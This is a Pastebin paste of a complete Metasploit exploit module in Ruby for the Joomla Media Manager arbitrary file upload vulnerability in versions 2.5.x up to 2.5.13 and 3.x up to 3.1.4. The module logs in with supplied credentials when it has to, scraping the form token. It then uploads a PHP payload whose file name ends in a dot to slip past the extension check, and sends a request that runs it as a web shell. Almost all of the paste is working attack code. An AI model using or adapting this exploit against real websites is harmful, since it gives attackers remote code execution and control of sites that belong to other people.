Advertisement
Guest User

Untitled

a guest
Dec 19th, 2014
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.89 KB | None | 0 0
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. # http://metasploit.com/framework/
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Exploit::Remote
  11. Rank = ExcellentRanking
  12.  
  13. include Msf::Exploit::Remote::HttpClient
  14. include Msf::Exploit::FileDropper
  15.  
  16. def initialize(info={})
  17. super(update_info(info,
  18. 'Name' => "Joomla Media Manager File Upload Vulnerability",
  19. 'Description' => %q{
  20. This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as
  21. 3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component,
  22. which comes by default in Joomla, allowing arbitrary file uploads, and results in
  23. arbitrary code execution. The module has been tested successfully on Joomla 2.5.13
  24. and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media
  25. Manager, you will need to supply a valid username and password (Editor role or
  26. higher) in order to work properly.
  27. },
  28. 'License' => MSF_LICENSE,
  29. 'Author' =>
  30. [
  31. 'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB
  32. 'juan vazquez' # Metasploit module
  33. ],
  34. 'References' =>
  35. [
  36. [ 'OSVDB', '95933' ],
  37. [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ],
  38. [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ],
  39. [ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ],
  40. [ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ]
  41. ],
  42. 'Payload' =>
  43. {
  44. 'DisableNops' => true,
  45. # Arbitrary big number. The payload gets sent as POST data, so
  46. # really it's unlimited
  47. 'Space' => 262144, # 256k
  48. },
  49. 'Platform' => ['php'],
  50. 'Arch' => ARCH_PHP,
  51. 'Targets' =>
  52. [
  53. [ 'Joomla 2.5.x <=2.5.13', {} ]
  54. ],
  55. 'Privileged' => false,
  56. 'DisclosureDate' => "Aug 01 2013",
  57. 'DefaultTarget' => 0))
  58.  
  59. register_options(
  60. [
  61. OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
  62. OptString.new('USERNAME', [false, 'User to login with', '']),
  63. OptString.new('PASSWORD', [false, 'Password to login with', '']),
  64. ], self.class)
  65.  
  66. end
  67.  
  68. def peer
  69. return "#{rhost}:#{rport}"
  70. end
  71.  
  72. def check
  73. res = get_upload_form
  74.  
  75. if res and res.code == 200
  76. if res.body =~ /You are not authorised to view this resource/
  77. print_status("#{peer} - Joomla Media Manager Found but authentication required")
  78. return Exploit::CheckCode::Detected
  79. elsif res.body =~ /<form action="(.*)" id="uploadForm"/
  80. print_status("#{peer} - Joomla Media Manager Found and authentication isn't required")
  81. return Exploit::CheckCode::Detected
  82. end
  83. end
  84.  
  85. return Exploit::CheckCode::Safe
  86. end
  87.  
  88. def upload(upload_uri)
  89. begin
  90. u = URI(upload_uri)
  91. rescue ::URI::InvalidURIError
  92. fail_with(Exploit::Failure::Unknown, "Unable to get the upload_uri correctly")
  93. end
  94.  
  95. data = Rex::MIME::Message.new
  96. data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")
  97. post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
  98.  
  99. res = send_request_cgi({
  100. 'method' => 'POST',
  101. 'uri' => "#{u.path}?#{u.query}",
  102. 'ctype' => "multipart/form-data; boundary=#{data.bound}",
  103. 'cookie' => @cookies,
  104. 'vars_get' => {
  105. 'asset' => 'com_content',
  106. 'author' => '',
  107. 'format' => '',
  108. 'view' => 'images',
  109. 'folder' => ''
  110. },
  111. 'data' => post_data
  112. })
  113.  
  114. return res
  115.  
  116. end
  117.  
  118. def get_upload_form
  119. res = send_request_cgi({
  120. 'method' => 'GET',
  121. 'uri' => normalize_uri(target_uri.path, "index.php"),
  122. 'cookie' => @cookies,
  123. 'encode_params' => false,
  124. 'vars_get' => {
  125. 'option' => 'com_media',
  126. 'view' => 'images',
  127. 'tmpl' => 'component',
  128. 'e_name' => 'jform_articletext',
  129. 'asset' => 'com_content',
  130. 'author' => ''
  131. }
  132. })
  133.  
  134. return res
  135. end
  136.  
  137. def get_login_form
  138.  
  139. res = send_request_cgi({
  140. 'method' => 'GET',
  141. 'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
  142. 'cookie' => @cookies,
  143. 'vars_get' => {
  144. 'view' => 'login'
  145. }
  146. })
  147.  
  148. return res
  149.  
  150. end
  151.  
  152. def login
  153. res = send_request_cgi({
  154. 'method' => 'POST',
  155. 'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
  156. 'cookie' => @cookies,
  157. 'vars_get' => {
  158. 'task' => 'user.login'
  159. },
  160. 'vars_post' => {
  161. 'username' => @username,
  162. 'password' => @password
  163. }.merge(@login_options)
  164. })
  165.  
  166. return res
  167. end
  168.  
  169. def parse_login_options(html)
  170. html.scan(/<input type="hidden" name="(.*)" value="(.*)" \/>/) {|option|
  171. @login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1"
  172. }
  173. end
  174.  
  175. def exploit
  176. @login_options = {}
  177. @cookies = ""
  178. @upload_name = "#{rand_text_alpha(rand(5) + 3)}.php"
  179. @username = datastore['USERNAME']
  180. @password = datastore['PASSWORD']
  181.  
  182. print_status("#{peer} - Checking Access to Media Component...")
  183. res = get_upload_form
  184.  
  185. if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
  186. print_status("#{peer} - Authentication required... Proceeding...")
  187.  
  188. if @username.empty? or @password.empty?
  189. fail_with(Exploit::Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")
  190. end
  191. @cookies = res.get_cookies.sub(/;$/, "")
  192.  
  193. print_status("#{peer} - Accessing the Login Form...")
  194. res = get_login_form
  195. if res.nil? or res.code != 200 or res.body !~ /login/
  196. fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Login Form")
  197. end
  198. parse_login_options(res.body)
  199.  
  200. res = login
  201. if not res or res.code != 303
  202. fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to Authenticate")
  203. end
  204. elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
  205. print_status("#{peer} - Authentication isn't required.... Proceeding...")
  206. @cookies = res.get_cookies.sub(/;$/, "")
  207. else
  208. fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")
  209. end
  210.  
  211. print_status("#{peer} - Accessing the Upload Form...")
  212. res = get_upload_form
  213.  
  214. if res and res.code == 200 and res.body =~ /<form action="(.*)" id="uploadForm"/
  215. upload_uri = Rex::Text.html_decode($1)
  216. else
  217. fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
  218. end
  219.  
  220. print_status("#{peer} - Uploading shell...")
  221.  
  222. res = upload(upload_uri)
  223.  
  224. if res.nil? or res.code != 200
  225. fail_with(Exploit::Failure::Unknown, "#{peer} - Upload failed")
  226. end
  227.  
  228. register_files_for_cleanup("#{@upload_name}.")
  229. print_status("#{peer} - Executing shell...")
  230. send_request_cgi({
  231. 'method' => 'GET',
  232. 'uri' => normalize_uri(target_uri.path, "images", @upload_name),
  233. })
  234.  
  235. end
  236.  
  237. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement